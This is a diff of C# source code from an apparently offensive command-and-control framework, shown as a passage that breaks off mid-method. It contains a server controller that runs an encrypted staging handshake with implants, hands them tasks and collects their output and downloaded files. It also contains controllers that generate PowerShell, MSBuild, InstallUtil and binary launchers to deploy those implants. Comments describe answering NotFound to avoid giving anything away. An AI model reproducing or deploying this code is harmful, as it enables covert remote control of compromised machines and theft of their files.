CovenantClient.ApiGruntsByIdTaskingsGet(gruntModel.Id ?? default).FirstOrDefault(GT => GT.Status == GruntTaskingStatus.Uninitialized); + if (gruntTasking == null) + { + // No GruntTasking assigned. Respond with empty template, + return Ok(this.GetGetEmptyResponse()); + } + if (gruntTasking.Type == GruntTaskingType.Assembly) + { + GruntTask task = CovenantClient.ApiGruntTasksByIdGet(gruntTasking.TaskId ?? default); + if (task == null) + { + // Can't find corresponding task. Should never reach this point. Will just respond NotFound. + return NotFound(); + } + } + gruntTasking.Status = GruntTaskingStatus.Tasked; + CovenantClient.ApiGruntsByIdTaskingsByTasknamePut(gruntTasking.GruntId ?? default, gruntTasking.Name, gruntTasking); + + string responseTasking = JsonConvert.SerializeObject(gruntTasking.TaskingMessage); + var message = Covenant.Models.Grunts.GruntEncryptedMessage.Create( + Covenant.Models.Grunts.Grunt.Create(gruntModel), + Common.CovenantEncoding.GetBytes(responseTasking) + ); + // Transform response + string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message))); + // Format transformed response + string response = String.Format(this.Profile.HttpPostResponse, transformed); + return Ok(response); + } + + [AllowAnonymous] + [HttpPost] + public ActionResult Post() + { + this.SetHeaders(); + using (StreamReader reader = new StreamReader(Request.Body, System.Text.Encoding.UTF8)) + { + Covenant.Models.Grunts.GruntEncryptedMessage message = null; + try + { + string body = reader.ReadToEnd(); + string ExtractedMessage = body.ParseExact(this.Profile.HttpPostRequest).FirstOrDefault(); + string inverted = Common.CovenantEncoding.GetString(this.Profile.Invert(ExtractedMessage)); + message = JsonConvert.DeserializeObject(inverted); + } + catch (Exception) + { + // Request not formatted correctly. May not be legitimate Grunt request, respond NotFound + return NotFound(); + } + switch (message.Type) + { + case Covenant.Models.Grunts.GruntEncryptedMessage.GruntEncryptedMessageType.Stage0: + return this.PostStage0(message); + case Covenant.Models.Grunts.GruntEncryptedMessage.GruntEncryptedMessageType.Stage1: + return this.PostStage1(message); + case Covenant.Models.Grunts.GruntEncryptedMessage.GruntEncryptedMessageType.Stage2: + return this.PostStage2(message); + case Covenant.Models.Grunts.GruntEncryptedMessage.GruntEncryptedMessageType.Register: + return this.RegisterGrunt(message); + case Covenant.Models.Grunts.GruntEncryptedMessage.GruntEncryptedMessageType.PostTask: + return this.PostTask(message); + default: + return NotFound(); + } + } + } + + // post task + private ActionResult PostTask(Covenant.Models.Grunts.GruntEncryptedMessage outputMessage) + { + string cookie = this.GetCookie(); + API.Models.Grunt gruntModel = this.CovenantClient.ApiGruntsGet().FirstOrDefault(G => G.CookieAuthKey == cookie); + if (gruntModel == null || gruntModel.Status != GruntStatus.Active) + { + // Invalid CookieAuthKey. May not be legitimate Grunt request, respond NotFound + return NotFound(); + } + + string TaskName = outputMessage.Meta; + GruntTasking gruntTasking = CovenantClient.ApiGruntsByIdTaskingsByTasknameGet(gruntModel.Id ?? default, TaskName); + if (gruntTasking == null || gruntModel.Id != gruntTasking.GruntId) + { + // Invalid taskname. May not be legitimate Grunt request, respond NotFound + return NotFound(); + } + + var realGrunt = Covenant.Models.Grunts.Grunt.Create(gruntModel); + if (realGrunt == null || realGrunt.Status != Covenant.Models.Grunts.Grunt.GruntStatus.Active) + { + // Invalid Grunt. May not be legitimate Grunt request, respond NotFound + return NotFound(); + } + if (!outputMessage.VerifyHMAC(Convert.FromBase64String(realGrunt.GruntNegotiatedSessionKey))) + { + // Invalid signature. Almost certainly not a legitimate Grunt request, responsd NotFound + return NotFound(); + } + string taskOutput = Common.CovenantEncoding.GetString(realGrunt.SessionDecrypt(outputMessage)); + gruntTasking.GruntTaskOutput = taskOutput; + gruntTasking.Status = GruntTaskingStatus.Completed; + if (gruntTasking.Type == GruntTaskingType.Kill) + { + gruntModel.Status = GruntStatus.Killed; + CovenantClient.ApiGruntsPut(gruntModel); + } + CovenantClient.ApiGruntsByIdTaskingsByTasknamePut(gruntTasking.GruntId ?? default, gruntTasking.Name, gruntTasking); + + GruntTask DownloadTask = CovenantClient.ApiGruntTasksGet().FirstOrDefault(GT => GT.Name == "Download"); + if (gruntTasking.TaskId == DownloadTask.Id) + { + CovenantClient.ApiEventsPost(new EventModel + { + Message = "Grunt: " + realGrunt.Name + " has completed GruntTasking: " + gruntTasking.Name, + Level = EventLevel.Highlight, + Context = realGrunt.Name + }); + string FileName = Common.CovenantEncoding.GetString(Convert.FromBase64String(gruntTasking.GruntTaskingAssembly.Split(",")[1])); + CovenantClient.ApiEventsDownloadPost(new DownloadEvent + { + Message = "Downloaded: " + FileName + "\r\n" + "Syncing to Elite...", + Level = EventLevel.Info, + Context = realGrunt.Name, + FileName = FileName, + FileContents = gruntTasking.GruntTaskOutput, + Progress = DownloadProgress.Complete + }); + } + else + { + CovenantClient.ApiEventsPost(new EventModel + { + Message = "Grunt: " + realGrunt.Name + " has completed GruntTasking: " + gruntTasking.Name, + Level = EventLevel.Highlight, + Context = realGrunt.Name + }); + CovenantClient.ApiEventsPost(new EventModel + { + Message = gruntTasking.GruntTaskOutput, + Level = EventLevel.Info, + Context = realGrunt.Name + }); + } + return Ok(); + } + + // stage0 + private ActionResult PostStage0(Covenant.Models.Grunts.GruntEncryptedMessage gruntStage0Response) + { + // Check if this Grunt ID is already active + API.Models.Grunt savedGrunt = CovenantClient.ApiGruntsByIdGet(gruntStage0Response.Id); + if (savedGrunt == null) + { + // Always return NotFound, don't give away unnecessary info + return NotFound(); + } + if(!gruntStage0Response.VerifyHMAC(Convert.FromBase64String(savedGrunt.GruntSharedSecretPassword))) + { + // Always return NotFound, don't give away unnecessary info + return NotFound(); + } + Covenant.Models.Grunts.Grunt realGrunt = null; + if (savedGrunt.Status != GruntStatus.Uninitialized) + { + savedGrunt.Status = GruntStatus.Stage0; + // We create a new Grunt if this one is not uninitialized + API.Models.Grunt tempModel = new API.Models.Grunt + { + Status = savedGrunt.Status, + ListenerId = savedGrunt.ListenerId, + CovenantIPAddress = savedGrunt.CovenantIPAddress, + GruntSharedSecretPassword = savedGrunt.GruntSharedSecretPassword, + Delay = savedGrunt.Delay, Jitter = savedGrunt.Jitter, + ConnectAttempts = savedGrunt.ConnectAttempts, + DotNetFrameworkVersion = savedGrunt.DotNetFrameworkVersion + }; + API.Models.Grunt tempGrunt = CovenantClient.ApiGruntsPost(tempModel); + realGrunt = Covenant.Models.Grunts.Grunt.Create(tempGrunt); + } + else + { + savedGrunt.Status = GruntStatus.Stage0; + API.Models.Grunt tempGrunt = CovenantClient.ApiGruntsPut(savedGrunt); + realGrunt = Covenant.Models.Grunts.Grunt.Create(tempGrunt); + } + + // EncryptedMessage is the RSA Public Key + realGrunt.GruntRSAPublicKey = Convert.ToBase64String(Encrypt.Utilities.AesDecrypt( + gruntStage0Response, + Convert.FromBase64String(realGrunt.GruntSharedSecretPassword) + )); + // Generate negotiated session key + Aes newAesKey = Aes.Create(); + newAesKey.GenerateKey(); + realGrunt.GruntNegotiatedSessionKey = Convert.ToBase64String(newAesKey.Key); + CovenantClient.ApiGruntsPut(realGrunt.ToModel()); + + byte[] rsaEncryptedBytes = realGrunt.RSAEncrypt(Convert.FromBase64String(realGrunt.GruntNegotiatedSessionKey)); + + Covenant.Models.Grunts.GruntEncryptedMessage message = Covenant.Models.Grunts.GruntEncryptedMessage.Create( + realGrunt, + rsaEncryptedBytes, + Convert.FromBase64String(realGrunt.GruntSharedSecretPassword) + ); + string Stage0Response = message.Id + "," + message.Name + "," + message.IV + "," + message.EncryptedMessage + "," + message.HMAC; + // Stage0Response: "Id,Name,Base64(IV),Base64(AES(RSA(SessionKey))),Base64(HMAC)" + // Transform response + string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(Stage0Response)); + // Format transformed response + string response = String.Format(this.Profile.HttpPostResponse, transformed); + return Ok(response); + } + + private ActionResult PostStage1(Covenant.Models.Grunts.GruntEncryptedMessage gruntStage1Response) + { + // Check if this Grunt ID is already active + API.Models.Grunt gruntModel = CovenantClient.ApiGruntsByIdGet(gruntStage1Response.Id); + if (gruntModel == null || gruntModel.Status != GruntStatus.Stage0) + { + // Always return NotFound, don't give away unnecessary info + return NotFound(); + } + if (!gruntStage1Response.VerifyHMAC(Convert.FromBase64String(gruntModel.GruntNegotiatedSessionKey))) + { + // Always return NotFound, don't give away unnecessary info + return NotFound(); + } + Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(gruntModel); + byte[] challenge1 = realGrunt.SessionDecrypt(gruntStage1Response); + byte[] challenge2 = new byte[4]; + using (RandomNumberGenerator rng = RandomNumberGenerator.Create()) + { + rng.GetBytes(challenge2); + } + // Save challenge to compare on response + realGrunt.GruntChallenge = Convert.ToBase64String(challenge2); + + Covenant.Models.Grunts.GruntEncryptedMessage message = Covenant.Models.Grunts.GruntEncryptedMessage.Create(realGrunt, challenge1.Concat(challenge2).ToArray()); + + string Stage1Response = message.IV + "," + message.EncryptedMessage + "," + message.HMAC; + // Stage1Response: "Base64(IV),Base64(AES(challenge1 + challenge2)),Base64(HMAC)" + + realGrunt.Status = Covenant.Models.Grunts.Grunt.GruntStatus.Stage1; + CovenantClient.ApiGruntsPut(realGrunt.ToModel()); + + // Transform response + string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(Stage1Response)); + // Format transformed response + string response = String.Format(this.Profile.HttpPostResponse, transformed); + return Ok(response); + } + + public ActionResult PostStage2(Covenant.Models.Grunts.GruntEncryptedMessage gruntStage2Response) + { + // Check if this Grunt ID is already active + API.Models.Grunt gruntModel = CovenantClient.ApiGruntsByIdGet(gruntStage2Response.Id); + if (gruntModel == null || gruntModel.Status != GruntStatus.Stage1) + { + // Always return NotFound, don't give away unnecessary info + return NotFound(); + } + if (!gruntStage2Response.VerifyHMAC(Convert.FromBase64String(gruntModel.GruntNegotiatedSessionKey))) + { + // Always return NotFound, don't give away unnecessary info + return NotFound(); + } + Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(gruntModel); + byte[] challenge2test = realGrunt.SessionDecrypt(gruntStage2Response); + if (realGrunt.GruntChallenge != Convert.ToBase64String(challenge2test)) + { + // Always return NotFound, don't give away unnecessary info + return NotFound(); + } + realGrunt.Status = Covenant.Models.Grunts.Grunt.GruntStatus.Stage2; + this.CovenantClient.ApiGruntsPut(realGrunt.ToModel()); + API.Models.HttpListener listenerModel = this.CovenantClient.ApiListenersHttpByIdGet(realGrunt.ListenerId); + API.Models.HttpProfile profileModel = this.CovenantClient.ApiListenersByIdProfileGet(realGrunt.ListenerId); + var realListener = Covenant.Models.Listeners.HttpListener.Create(listenerModel); + string GruntExecutorAssembly = realListener.CompileGruntExecutorCode(realGrunt, Covenant.Models.Listeners.HttpProfile.Create(profileModel)); + var message = Covenant.Models.Grunts.GruntEncryptedMessage.Create(realGrunt, Convert.FromBase64String(GruntExecutorAssembly)); + + string Stage2Response = message.IV + "," + message.EncryptedMessage + "," + message.HMAC; + // returns: "Base64(IV),Base64(AES(GruntExecutorAssembly)),Base64(HMAC)" + // Transform response + string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(Stage2Response)); + // Format transformed response + string response = String.Format(this.Profile.HttpPostResponse, transformed); + return Ok(response); + } + + private ActionResult RegisterGrunt(Covenant.Models.Grunts.GruntEncryptedMessage gruntMessage) + { + API.Models.Grunt gruntModel = CovenantClient.ApiGruntsByIdGet(gruntMessage.Id); + if (gruntModel == null || gruntModel.Status != GruntStatus.Stage2) + { + // Always return NotFound, don't give away unnecessary info + return NotFound(); + } + if (!gruntMessage.VerifyHMAC(Convert.FromBase64String(gruntModel.GruntNegotiatedSessionKey))) + { + // Always return NotFound, don't give away unnecessary info + return NotFound(); + } + Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(gruntModel); + string message = Common.CovenantEncoding.GetString(realGrunt.SessionDecrypt(gruntMessage)); + // todo: try/catch on deserialize? + Covenant.Models.Grunts.Grunt grunt = JsonConvert.DeserializeObject(message); + + gruntModel.IpAddress = grunt.IPAddress; + gruntModel.OperatingSystem = grunt.OperatingSystem; + gruntModel.UserDomainName = grunt.UserDomainName; + gruntModel.UserName = grunt.UserName; + gruntModel.Status = GruntStatus.Active; + gruntModel.Integrity = (API.Models.IntegrityLevel)Enum.Parse(typeof(API.Models.IntegrityLevel), grunt.Integrity.ToString()); + gruntModel.Process = grunt.Process; + + CovenantClient.ApiGruntsPut(gruntModel); + CovenantClient.ApiEventsPost(new EventModel + { + Message = "Grunt: " + grunt.Name + " from: " + grunt.IPAddress + " has been activated!", + Level = EventLevel.Highlight, + Context = "*" + }); + + var responseMessage = Covenant.Models.Grunts.GruntEncryptedMessage.Create( + Covenant.Models.Grunts.Grunt.Create(gruntModel), Common.CovenantEncoding.GetBytes(gruntModel.CookieAuthKey) + ); + // Transform response + string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(responseMessage))); + // Format transformed response + string response = String.Format(this.Profile.HttpPostResponse, transformed); + return Ok(response); + } + } +} diff --git a/Covenant/Controllers/IndicatorsController.cs b/Covenant/Controllers/IndicatorsController.cs new file mode 100644 index 00000000..5f48ee94 --- /dev/null +++ b/Covenant/Controllers/IndicatorsController.cs @@ -0,0 +1,179 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System.Linq; +using System.Collections.Generic; +using Microsoft.AspNetCore.Mvc; +using Microsoft.AspNetCore.Authorization; + +using Covenant.Models; +using Covenant.Models.Indicators; + +namespace Covenant.Controllers +{ + [Authorize] + [ApiController] + [Route("api/[controller]s")] + public class IndicatorController : Controller + { + private readonly CovenantContext _context; + + public IndicatorController(CovenantContext context) + { + _context = context; + } + + // GET: api/indicators/report + // + // Get a report of Indicators + // + [HttpGet("results", Name = "GetReport")] + public ActionResult GetReport() + { + // TODO + return ""; + } + + // GET: api/indicators + // + // Get a list of Indicators + // + [HttpGet(Name = "GetIndicators")] + public IEnumerable GetIndicators() + { + return _context.Indicators.ToList(); + } + + // GET: api/indicators/files + // + // Get a list of FileIndicators + // + [HttpGet("files", Name = "GetFileIndicators")] + public IEnumerable GetFileIndicators() + { + return _context.Indicators.Where(I => I.Name == "FileIndicator").Select(I => (FileIndicator)I).ToList(); + } + + // GET: api/indicators/networks + // + // Get a list of NetworksIndicators + // + [HttpGet("networks", Name = "GetNetworkIndicators")] + public IEnumerable GetNetworkIndicators() + { + return _context.Indicators.Where(I => I.Name == "NetworkIndicator").Select(I => (NetworkIndicator)I).ToList(); + } + + // GET: api/indicators/targets + // + // Get a list of TargetIndicators + // + [HttpGet("targets", Name = "GetTargetIndicators")] + public IEnumerable GetTargetIndicators() + { + return _context.Indicators.Where(I => I.Name == "TargetIndicator").Select(I => (TargetIndicator)I).ToList(); + } + + // GET api/indicators/{id} + // + // Get an Indicator by id + // + [HttpGet("{id}", Name = "GetIndicator")] + public ActionResult GetIndicator(int id) + { + var indicator = _context.Indicators.FirstOrDefault(i => i.Id == id); + if (indicator == null) + { + return NotFound(); + } + return Ok(indicator); + } + + // GET: api/indicators/files/{id} + // + // Get a list of FileIndicators + // + [HttpGet("files/{id}", Name = "GetFileIndicator")] + public ActionResult GetFileIndicator(int id) + { + return _context.Indicators.Where(I => I.Name == "FileIndicator").Select(I => (FileIndicator)I) + .FirstOrDefault(i => i.Id == id); + } + + // GET: api/indicators/networks/{id} + // + // Get a list of NetworksIndicators + // + [HttpGet("networks/{id}", Name = "GetNetworkIndicator")] + public ActionResult GetNetworkIndicator(int id) + { + return _context.Indicators.Where(I => I.Name == "NetworkIndicator").Select(I => (NetworkIndicator)I) + .FirstOrDefault(i => i.Id == id); + } + + // GET: api/indicators/targets/{id} + // + // Get a list of TargetIndicators + // + [HttpGet("targets/{id}", Name = "GetTargetIndicator")] + public ActionResult GetTargetIndicator(int id) + { + return _context.Indicators.Where(I => I.Name == "TargetIndicator").Select(I => (TargetIndicator)I) + .FirstOrDefault(i => i.Id == id); + } + + // POST api/indicators + // + // Create a Indicator + // + [HttpPost(Name = "CreateIndicator")] + [ProducesResponseType(typeof(Indicator), 201)] + public ActionResult CreateIndicator([FromBody]Indicator indicator) + { + _context.Indicators.Add(indicator); + _context.SaveChanges(); + return CreatedAtRoute(nameof(GetIndicator), new { id = indicator.Id }, indicator); + } + + // PUT api/indicators + // + // Edit a Indicator + // + [HttpPut(Name = "EditIndicator")] + public ActionResult EditIndicator([FromBody] Indicator indicator) + { + var matching_indicator = _context.Indicators.FirstOrDefault(i => indicator.Id == i.Id); + if (matching_indicator == null) + { + return NotFound(); + } + + matching_indicator.Name = indicator.Name; + + _context.Indicators.Update(matching_indicator); + _context.SaveChanges(); + + return Ok(matching_indicator); + } + + // DELETE api/indicators/{id} + // + // Delete a Indicator + // + [HttpDelete("{id}", Name = "DeleteIndicator")] + [ProducesResponseType(204)] + public ActionResult DeleteIndicator(int id) + { + var indicator = _context.Indicators.FirstOrDefault(i => i.Id == id); + if (indicator == null) + { + return NotFound(); + } + + _context.Indicators.Remove(indicator); + _context.SaveChanges(); + return new NoContentResult(); + } + } +} diff --git a/Covenant/Controllers/LauncherController.cs b/Covenant/Controllers/LauncherController.cs new file mode 100644 index 00000000..ab149640 --- /dev/null +++ b/Covenant/Controllers/LauncherController.cs @@ -0,0 +1,1055 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System.Linq; +using System.Collections.Generic; +using Microsoft.AspNetCore.Mvc; +using Microsoft.AspNetCore.Authorization; + +using Covenant.Models; +using Covenant.Models.Grunts; +using Covenant.Models.Launchers; +using Covenant.Models.Listeners; + +namespace Covenant.Controllers +{ + [Authorize] + [ApiController] + [Route("api/[controller]s")] + public class LauncherController : Controller + { + private readonly CovenantContext _context; + + public LauncherController(CovenantContext context) + { + _context = context; + } + + // GET: api/launchers + // + // Get PowerShellLauncher + // + [HttpGet(Name = "GetLaunchers")] + public IEnumerable Get() + { + return _context.Launchers.ToList(); + } + + // GET api/launchers/binary + // + // Get BinaryLauncher + // + [HttpGet("binary", Name = "GetBinaryLauncher")] + public ActionResult GetBinaryLauncher() + { + BinaryLauncher launcher = (BinaryLauncher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.Binary); + if (launcher == null) + { + return NotFound(); + } + return Ok(launcher); + } + + // POST api/stagers/launcher + // + // Generate BinaryLauncher LauncherString + // + [HttpPost("binary", Name = "GenerateBinaryLauncher")] + public ActionResult GenerateBinaryLauncher() + { + BinaryLauncher launcher = (BinaryLauncher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.Binary); + if (launcher == null) + { + return NotFound(); + } + Listener listener = _context.Listeners.FirstOrDefault(S => S.Id == launcher.ListenerId); + if (listener == null) + { + return NotFound(); + } + HttpProfile profile = (HttpProfile)_context.Profiles.FirstOrDefault(P => P.Id == listener.ProfileId); + if (profile == null) + { + return NotFound(); + } + Grunt grunt = new Grunt + { + ListenerId = listener.Id, + CovenantIPAddress = listener.BindAddress, + Delay = launcher.Delay, + Jitter = launcher.Jitter, + ConnectAttempts = launcher.ConnectAttempts, + DotNetFrameworkVersion = launcher.DotNetFrameworkVersion + }; + + _context.Grunts.Add(grunt); + _context.SaveChanges(); + + launcher.GetLauncher(listener, grunt, profile); + + _context.Launchers.Update(launcher); + _context.SaveChanges(); + return Ok(launcher); + } + + // POST api/launchers/binary/hosted + // + // Generate a BinaryLauncher that points to a hosted binary file + // + [HttpPost("binary/hosted", Name = "GenerateBinaryHostedFileLauncher")] + public ActionResult GenerateBinaryHostedFileLauncher(HostedFile hostedFile) + { + BinaryLauncher launcher = (BinaryLauncher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.Binary); + if (launcher == null) + { + return NotFound(); + } + Listener listener = _context.Listeners.FirstOrDefault(S => S.Id == hostedFile.ListenerId); + HostedFile savedHostedFile = _context.HostedFiles.FirstOrDefault(HF => HF.Id == hostedFile.Id); + if (listener == null || savedHostedFile == null) + { + return NotFound(); + } + string hostedLauncher = launcher.GetHostedLauncher(listener, savedHostedFile); + _context.Launchers.Update(launcher); + _context.SaveChanges(); + + return Ok(launcher); + } + + // PUT api/launchers/powershell + // + // Edit BinaryLauncher + // + [HttpPut("binary", Name = "PutBinaryLauncher")] + public ActionResult PutBinaryLauncher([FromBody]BinaryLauncher binaryLauncher) + { + BinaryLauncher launcher = (BinaryLauncher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.Binary); + if (launcher == null || launcher.Id != binaryLauncher.Id) + { + return NotFound(); + } + Listener listener = _context.Listeners.FirstOrDefault(L => L.Id == binaryLauncher.ListenerId); + if (listener != null) + { + launcher.ListenerId = binaryLauncher.ListenerId; + } + launcher.Delay = binaryLauncher.Delay; + launcher.Jitter = binaryLauncher.Jitter; + launcher.ConnectAttempts = binaryLauncher.ConnectAttempts; + launcher.DotNetFrameworkVersion = binaryLauncher.DotNetFrameworkVersion; + launcher.LauncherString = binaryLauncher.LauncherString; + _context.Launchers.Update(launcher); + _context.SaveChanges(); + + return Ok(launcher); + } + + // GET api/launchers/powershell + // + // Get PowerShellLauncher + // + [HttpGet("powershell", Name = "GetPowerShellLauncher")] + public ActionResult GetPowerShellLauncher() + { + PowerShellLauncher launcher = (PowerShellLauncher) _context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.PowerShell); + if (launcher == null) + { + return NotFound(); + } + return Ok(launcher); + } + + // POST api/launchers/powershell + // + // Generate PowerShellLauncher LauncherString + // + [HttpPost("powershell", Name = "GeneratePowerShellLauncher")] + public ActionResult GeneratePowerShellLauncher() + { + PowerShellLauncher launcher = (PowerShellLauncher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.PowerShell); + if (launcher == null) + { + return NotFound(); + } + Listener listener = _context.Listeners.FirstOrDefault(S => S.Id == launcher.ListenerId); + if (listener == null) + { + return NotFound(); + } + HttpProfile profile = (HttpProfile)_context.Profiles.FirstOrDefault(P => P.Id == listener.ProfileId); + if (profile == null) + { + return NotFound(); + } + + Grunt grunt = new Grunt + { + ListenerId = listener.Id, + CovenantIPAddress = listener.BindAddress, + Delay = launcher.Delay, + Jitter = launcher.Jitter, + ConnectAttempts = launcher.ConnectAttempts + }; + + _context.Grunts.Add(grunt); + _context.SaveChanges(); + launcher.GetLauncher(listener, grunt, profile); + _context.Launchers.Update(launcher); + _context.SaveChanges(); + + return Ok(launcher); + } + + // POST api/launchers/powershell/hosted + // + // Generate a PowerShellLauncher that points to a hosted powershell file + // + [HttpPost("powershell/hosted", Name = "GeneratePowerShellHostedFileLauncher")] + public ActionResult GeneratePowerShellHostedFileLauncher(HostedFile hostedFile) + { + PowerShellLauncher launcher = (PowerShellLauncher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.PowerShell); + if (launcher == null) + { + return NotFound(); + } + Listener listener = _context.Listeners.FirstOrDefault(S => S.Id == hostedFile.ListenerId); + HostedFile savedHostedFile = _context.HostedFiles.FirstOrDefault(HF => HF.Id == hostedFile.Id); + if (listener == null || savedHostedFile == null) + { + return NotFound(); + } + string hostedLauncher = launcher.GetHostedLauncher(listener, savedHostedFile); + _context.Launchers.Update(launcher); + _context.SaveChanges(); + + return Ok(launcher); + } + + // PUT api/launchers/powershell + // + // Edit PowerShellLauncher + // + [HttpPut("powershell", Name = "PutPowerShellLauncher")] + public ActionResult PutPowerShellLauncher([FromBody] PowerShellLauncher powerShellLauncher) + { + PowerShellLauncher launcher = (PowerShellLauncher) _context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.PowerShell); + if (launcher == null || launcher.Id != powerShellLauncher.Id) + { + return NotFound(); + } + + Listener listener = _context.Listeners.FirstOrDefault(L => L.Id == powerShellLauncher.ListenerId); + if (listener != null) + { + launcher.ListenerId = powerShellLauncher.ListenerId; + } + + launcher.Delay = powerShellLauncher.Delay; + launcher.Jitter = powerShellLauncher.Jitter; + launcher.ConnectAttempts = powerShellLauncher.ConnectAttempts; + launcher.ParameterString = powerShellLauncher.ParameterString; + launcher.DotNetFrameworkVersion = powerShellLauncher.DotNetFrameworkVersion; + launcher.LauncherString = powerShellLauncher.LauncherString; + _context.Launchers.Update(launcher); + + _context.SaveChanges(); + + return Ok(launcher); + } + + // GET api/launchers/msbuild + // + // Get MSBuildLauncher + // + [HttpGet("msbuild", Name = "GetMSBuildLauncher")] + public ActionResult GetMSBuildLauncher() + { + MSBuildLauncher launcher = (MSBuildLauncher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.MSBuild); + if (launcher == null) + { + return NotFound(); + } + return Ok(launcher); + } + + // POST api/launchers/msbuild + // + // Generate MSBuild LauncherString + // + [HttpPost("msbuild", Name = "GenerateMSBuildLauncher")] + public ActionResult GenerateMSBuildLauncher() + { + MSBuildLauncher launcher = (MSBuildLauncher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.MSBuild); + if (launcher == null) + { + return NotFound(); + } + Listener listener = _context.Listeners.FirstOrDefault(S => S.Id == launcher.ListenerId); + if (listener == null) + { + return NotFound(); + } + HttpProfile profile = (HttpProfile)_context.Profiles.FirstOrDefault(P => P.Id == listener.ProfileId); + if (profile == null) + { + return NotFound(); + } + + Grunt grunt = new Grunt + { + ListenerId = listener.Id, + CovenantIPAddress = listener.BindAddress, + Delay = launcher.Delay, + Jitter = launcher.Jitter, + ConnectAttempts = launcher.ConnectAttempts + }; + + _context.Grunts.Add(grunt); + _context.SaveChanges(); + launcher.GetLauncher(listener, grunt, profile); + _context.Launchers.Update(launcher); + _context.SaveChanges(); + + return Ok(launcher); + } + + // POST api/launchers/msbuild/hosted + // + // Generate a MSBuildLauncher that points to a hosted msbuild xml file + // + [HttpPost("msbuild/hosted", Name = "GenerateMSBuildHostedFileLauncher")] + public ActionResult GenerateMSBuildHostedFileLauncher(HostedFile hostedFile) + { + MSBuildLauncher launcher = (MSBuildLauncher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.MSBuild); + if (launcher == null) + { + return NotFound(); + } + Listener listener = _context.Listeners.FirstOrDefault(S => S.Id == hostedFile.ListenerId); + HostedFile savedHostedFile = _context.HostedFiles.FirstOrDefault(HF => HF.Id == hostedFile.Id); + if (listener == null || savedHostedFile == null) + { + return NotFound(); + } + string hostedLauncher = launcher.GetHostedLauncher(listener, savedHostedFile); + _context.Launchers.Update(launcher); + _context.SaveChanges(); + + return Ok(launcher); + } + + // PUT api/launchers/msbuild + // + // Edit MSBuildLauncher + // + [HttpPut("msbuild", Name = "PutMSBuildLauncher")] + public ActionResult PutMSBuildLauncher([FromBody] MSBuildLauncher msbuildLauncher) + { + MSBuildLauncher launcher = (MSBuildLauncher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.MSBuild); + if (launcher == null || launcher.Id != msbuildLauncher.Id) + { + return NotFound(); + } + Listener listener = _context.Listeners.FirstOrDefault(L => L.Id == msbuildLauncher.ListenerId); + if (listener != null) + { + launcher.ListenerId = msbuildLauncher.ListenerId; + } + launcher.Delay = msbuildLauncher.Delay; + launcher.Jitter = msbuildLauncher.Jitter; + launcher.ConnectAttempts = msbuildLauncher.ConnectAttempts; + launcher.DotNetFrameworkVersion = msbuildLauncher.DotNetFrameworkVersion; + launcher.LauncherString = msbuildLauncher.LauncherString; + launcher.DiskCode = msbuildLauncher.DiskCode; + launcher.StagerCode = msbuildLauncher.StagerCode; + launcher.TargetName = msbuildLauncher.TargetName; + launcher.TaskName = msbuildLauncher.TaskName; + + _context.Launchers.Update(launcher); + _context.SaveChanges(); + + return Ok(launcher); + } + + // GET api/launchers/installutil + // + // Get InstallUtilLauncher + // + [HttpGet("installutil", Name = "GetInstallUtilLauncher")] + public ActionResult GetInstallUtilLauncher() + { + InstallUtilLauncher launcher = (InstallUtilLauncher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.InstallUtil); + if (launcher == null) + { + return NotFound(); + } + return Ok(launcher); + } + + // POST api/launchers/installutil + // + // Generate InstallUtil LauncherString + // + [HttpPost("installutil", Name = "GenerateInstallUtilLauncher")] + public ActionResult GenerateInstallUtilLauncher() + { + InstallUtilLauncher launcher = (InstallUtilLauncher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.InstallUtil); + if (launcher == null) + { + return NotFound(); + } + Listener listener = _context.Listeners.FirstOrDefault(S => S.Id == launcher.ListenerId); + if (listener == null) + { + return NotFound(); + } + HttpProfile profile = (HttpProfile)_context.Profiles.FirstOrDefault(P => P.Id == listener.ProfileId); + if (profile == null) + { + return NotFound(); + } + + Grunt grunt = new Grunt + { + ListenerId = listener.Id, + CovenantIPAddress = listener.BindAddress, + Delay = launcher.Delay, + Jitter = launcher.Jitter, + ConnectAttempts = launcher.ConnectAttempts + }; + + _context.Grunts.Add(grunt); + _context.SaveChanges(); + launcher.GetLauncher(listener, grunt, profile); + _context.Launchers.Update(launcher); + _context.SaveChanges(); + + return Ok(launcher); + } + + // POST api/launchers/installutil/hosted + // + // Generate a InstallUtilLauncher that points to a hosted msbuild xml file + // + [HttpPost("installutil/hosted", Name = "GenerateInstallUtilHostedFileLauncher")] + public ActionResult GenerateInstallUtilHostedFileLauncher(HostedFile hostedFile) + { + InstallUtilLauncher launcher = (InstallUtilLauncher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.InstallUtil); + if (launcher == null) + { + return NotFound(); + } + Listener listener = _context.Listeners.FirstOrDefault(S => S.Id == hostedFile.ListenerId); + HostedFile savedHostedFile = _context.HostedFiles.FirstOrDefault(HF => HF.Id == hostedFile.Id); + if (listener == null || savedHostedFile == null) + 